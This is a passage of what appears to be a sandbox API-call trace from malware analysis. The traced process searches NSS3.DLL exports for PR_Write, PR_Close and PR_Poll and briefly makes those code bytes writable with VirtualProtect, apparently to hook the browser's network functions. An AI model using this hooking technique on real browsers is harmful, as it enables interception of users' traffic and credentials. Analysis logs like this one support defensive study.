lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_GetInteger_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_GetUInteger", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_LengthLength", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_Lengths", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_Lengths_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_SetUInteger", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_StoreHeader", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii_Util", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeToGeneralizedTime", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena_Util", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeToGeneralizedTime_Util", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeToUTCTime", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_TimeToUTCTime_Util", lpString2="PR_Write") returned -1 [0070.800] lstrcmpA (lpString1="DER_UTCDayToAscii", lpString2="PR_Write") returned -1 [0070.800] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe189f8 [0070.800] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe19ad8 [0070.800] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189f8 | out: hHeap=0xa20000) returned 1 [0070.800] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe19ad8 | out: hHeap=0xa20000) returned 1 [0070.800] VirtualProtect (in: lpAddress=0x73c22e05, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x20) returned 1 [0070.801] VirtualProtect (in: lpAddress=0x73c22e05, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x40) returned 1 [0070.801] VirtualProtect (in: lpAddress=0x73c543c0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x3ffab0 | out: lpflOldProtect=0x3ffab0*=0x40) returned 1 [0070.801] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffa7c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffa7c, ReturnLength=0x0) returned 0x0 [0070.801] GetModuleHandleA (lpModuleName="NSS3.DLL") returned 0x73ac0000 [0070.801] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe19ad8 [0070.801] lstrcmpA (lpString1="ATOB_AsciiToData", lpString2="PR_Close") returned -1 [0070.801] lstrcmpA (lpString1="ATOB_AsciiToData_Util", lpString2="PR_Close") returned -1 [0070.801] lstrcmpA (lpString1="ATOB_ConvertAsciiToItem", lpString2="PR_Close") returned -1 [0070.801] lstrcmpA (lpString1="ATOB_ConvertAsciiToItem_Util", lpString2="PR_Close") returned -1 [0070.801] lstrcmpA (lpString1="BTOA_ConvertItemToAscii", lpString2="PR_Close") returned -1 [0070.801] lstrcmpA (lpString1="BTOA_ConvertItemToAscii_Util", lpString2="PR_Close") returned -1 [0070.801] lstrcmpA (lpString1="BTOA_DataToAscii", lpString2="PR_Close") returned -1 [0070.801] lstrcmpA (lpString1="BTOA_DataToAscii_Util", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AddCertToListHead", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AddCertToListSorted", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AddCertToListTail", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AddExtension", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AddOCSPAcceptableResponses", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AddOKDomainName", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AddRDN", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AllocCERTRevocationFlags", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_AsciiToName", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CRLCacheRefreshIssuer", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CacheCRL", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CacheOCSPResponseFromSideChannel", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CertChainFromCert", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CertListFromCert", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CertTimesValid", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_ChangeCertTrust", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CheckCertUsage", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CheckCertValidTimes", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CheckNameSpace", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CheckOCSPStatus", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_ClearOCSPCache", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CompareCerts", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CompareName", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CompareValidityTimes", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CompleteCRLDecodeEntries", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_ConvertAndDecodeCertificate", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CopyName", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CopyRDN", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateAVA", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateCertificate", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateCertificateRequest", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateEncodedOCSPErrorResponse", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateEncodedOCSPSuccessResponse", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateName", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateOCSPCertID", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateOCSPRequest", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseGood", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseRevoked", lpString2="PR_Close") returned -1 [0070.802] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseUnknown", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_CreateRDN", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_CreateSubjectCertList", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_CreateValidity", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeAVAValue", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeAltNameExtension", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeAuthInfoAccessExtension", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeAuthKeyID", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeBasicConstraintValue", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeCRLDistributionPoints", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeCertFromPackage", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeCertPackage", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeCertificatePoliciesExtension", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeDERCrl", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeDERCrlWithFlags", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeGeneralName", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeNameConstraintsExtension", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeOCSPRequest", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeOCSPResponse", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeOidSequence", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodePrivKeyUsagePeriodExtension", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeTrustString", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DecodeUserNotice", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DerNameToAscii", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyCERTRevocationFlags", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyCertArray", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyCertList", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyCertificate", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyCertificateList", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyCertificatePoliciesExtension", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyCertificateRequest", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyName", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyOCSPCertID", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyOCSPRequest", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyOCSPResponse", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyOidSequence", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyUserNotice", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DestroyValidity", lpString2="PR_Close") returned -1 [0070.803] lstrcmpA (lpString1="CERT_DisableOCSPChecking", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_DisableOCSPDefaultResponder", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_DistNamesFromCertList", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_DupCertList", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_DupCertificate", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_DupDistNames", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EnableOCSPChecking", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EnableOCSPDefaultResponder", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeAltNameExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeAndAddBitStrExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeAuthKeyID", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeBasicConstraintValue", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeCRLDistributionPoints", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeCertPoliciesExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeGeneralName", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeInfoAccessExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeInhibitAnyExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeNameConstraintsExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeNoticeReference", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeOCSPRequest", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodePolicyConstraintsExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodePolicyMappingExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeSubjectKeyID", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_EncodeUserNotice", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_ExtractPublicKey", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FilterCertListByCANames", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FilterCertListByUsage", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FilterCertListForUserCerts", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCRLEntryReasonExten", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCRLNumberExten", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertByDERCert", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertByIssuerAndSN", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertByName", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertByNickname", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddr", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddrForUsage", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertBySubjectKeyID", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertExtension", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindCertIssuer", lpString2="PR_Close") returned -1 [0070.804] lstrcmpA (lpString1="CERT_FindKeyUsageExtension", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FindNameConstraintsExten", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FindSMimeProfile", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FindSubjectKeyIDExtension", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FindUserCertByUsage", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FindUserCertsByUsage", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FinishCertificateRequestAttributes", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FinishExtensions", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FormatName", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FreeDistNames", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_FreeNicknames", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii_Util", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetAVATag", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertChainFromCert", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertEmailAddress", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertIssuerAndSN", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertNicknames", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertTimes", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertTrust", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertUid", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertificateNames", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCertificateRequestExtensions", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetClassicOCSPDisabledPolicy", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledHardFailurePolicy", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledSoftFailurePolicy", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCommonName", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetConstrainedCertificateNames", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetCountryName", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetDBContentVersion", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetDefaultCertDB", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetDomainComponentName", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetEncodedOCSPResponse", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetFirstEmailAddress", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetLocalityName", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetNextEmailAddress", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetNextGeneralName", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetNextNameConstraint", lpString2="PR_Close") returned -1 [0070.805] lstrcmpA (lpString1="CERT_GetOCSPAuthorityInfoAccessLocation", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetOCSPResponseStatus", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetOCSPStatusForCertID", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetOidString", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetOrgName", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetOrgUnitName", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetPKIXVerifyNistRevocationPolicy", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetPrevGeneralName", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetPrevNameConstraint", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetSSLCACerts", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetSlopTime", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetStateName", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetUsePKIXForValidation", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_GetValidDNSPatternsFromCert", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_Hexify", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_ImportCAChain", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_ImportCAChainTrusted", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_ImportCRL", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_ImportCerts", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_IsCACert", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_IsCADERCert", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_IsRootDERCert", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_IsUserCert", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_KeyFromDERCrl", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_MakeCANickname", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_MergeExtensions", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_NameToAscii", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_NameToAsciiInvertible", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_NewCertList", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_NewTempCertificate", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_NicknameStringsFromCertList", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_OCSPCacheSettings", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_OpenCertDBFilename", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_PKIXVerifyCert", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_PostOCSPRequest", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_RFC1485_EscapeAndQuote", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_RegisterAlternateOCSPAIAInfoCallBack", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_RemoveCertListNode", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_SaveSMimeProfile", lpString2="PR_Close") returned -1 [0070.806] lstrcmpA (lpString1="CERT_SetOCSPDefaultResponder", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_SetOCSPFailureMode", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_SetOCSPTimeout", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_SetSlopTime", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_SetUsePKIXForValidation", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_StartCRLEntryExtensions", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_StartCRLExtensions", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_StartCertExtensions", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_StartCertificateRequestAttributes", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_UncacheCRL", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifyCACertForUsage", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifyCert", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifyCertName", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifyCertNow", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifyCertificate", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifyCertificateNow", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifyOCSPResponseSignature", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifySignedData", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKey", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKeyInfo", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_AsciiToTime", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_AsciiToTime_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_DecodeTimeChoice", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_DecodeTimeChoice_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_Encode", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_EncodeTimeChoice", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_EncodeTimeChoice_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_Encode_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_GeneralizedDayToAscii", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_GeneralizedDayToAscii_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_GeneralizedTimeToTime", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_GeneralizedTimeToTime_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_GetInteger", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_GetInteger_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_GetUInteger", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_LengthLength", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_Lengths", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_Lengths_Util", lpString2="PR_Close") returned -1 [0070.807] lstrcmpA (lpString1="DER_SetUInteger", lpString2="PR_Close") returned -1 [0070.808] lstrcmpA (lpString1="DER_StoreHeader", lpString2="PR_Close") returned -1 [0070.808] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii", lpString2="PR_Close") returned -1 [0070.808] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii_Util", lpString2="PR_Close") returned -1 [0070.857] lstrcmpA (lpString1="DER_TimeToGeneralizedTime", lpString2="PR_Close") returned -1 [0070.857] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena", lpString2="PR_Close") returned -1 [0070.857] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena_Util", lpString2="PR_Close") returned -1 [0070.857] lstrcmpA (lpString1="DER_TimeToGeneralizedTime_Util", lpString2="PR_Close") returned -1 [0070.857] lstrcmpA (lpString1="DER_TimeToUTCTime", lpString2="PR_Close") returned -1 [0070.857] lstrcmpA (lpString1="DER_TimeToUTCTime_Util", lpString2="PR_Close") returned -1 [0070.857] lstrcmpA (lpString1="DER_UTCDayToAscii", lpString2="PR_Close") returned -1 [0070.858] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe189f8 [0070.858] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe19b10 [0070.858] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189f8 | out: hHeap=0xa20000) returned 1 [0070.858] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe19b10 | out: hHeap=0xa20000) returned 1 [0070.858] VirtualProtect (in: lpAddress=0x73c22e0a, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x20) returned 1 [0070.858] VirtualProtect (in: lpAddress=0x73c22e0a, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x40) returned 1 [0070.858] VirtualProtect (in: lpAddress=0x73c53ebc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x3ffab0 | out: lpflOldProtect=0x3ffab0*=0x40) returned 1 [0070.859] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffa7c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffa7c, ReturnLength=0x0) returned 0x0 [0070.859] GetModuleHandleA (lpModuleName="NSS3.DLL") returned 0x73ac0000 [0070.859] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe19b10 [0070.859] lstrcmpA (lpString1="ATOB_AsciiToData", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="ATOB_AsciiToData_Util", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="ATOB_ConvertAsciiToItem", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA 